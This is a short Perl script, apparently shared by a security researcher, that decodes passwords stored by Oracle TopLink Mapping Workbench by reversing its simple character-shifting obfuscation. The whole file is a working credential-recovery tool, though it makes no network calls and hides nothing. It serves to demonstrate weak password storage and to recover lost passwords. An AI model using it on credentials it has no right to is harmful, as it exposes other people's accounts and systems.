#!/usr/bin/perl
# Decrypt Oracle Toplink Mapping WorkBench passwords.
# Author: Martin (broadcast@mail.ptraced.net)
# Version 2 - Code cleanup and modifications by ps (ps@brokethe.net)
#
# Thanks to Martin for allowing me to host this script on my site
# please send corrections - improvements to pete@petefinnigan.com for
# inclusion here and directly to Martin

$string = "A7FCAA504BA7E4FC";

sub usage {
	print " Usage: $0 <password to decrypt>\n";
	}

if ($#ARGV != 0) {
	usage();
	}

else {  
	$encrypted = $ARGV[0];
	$encrypted =~ s/$string$/ / or die ("Invalid Password\n");
	$chars = (length($encrypted) / 2) - 1;
	$enc2 = substr($encrypted,0,2);	
	$encrypted = substr($encrypted,2,length($encrypted) - 2);
	for($i = 0; $chars >= $i; $i++) {
		$int = hex($enc2);
		if (($i%2) == 1) {
			$result .= chr($int - ( ($i + 1 )/3 ) - 112); }
		else {
			$result .= chr($int - 4 + $i); }		
		$enc2 = substr($encrypted,0,2);
        	$encrypted = substr($encrypted,2,length($encrypted) - 2);	
		}
	print "$result\n";	
	}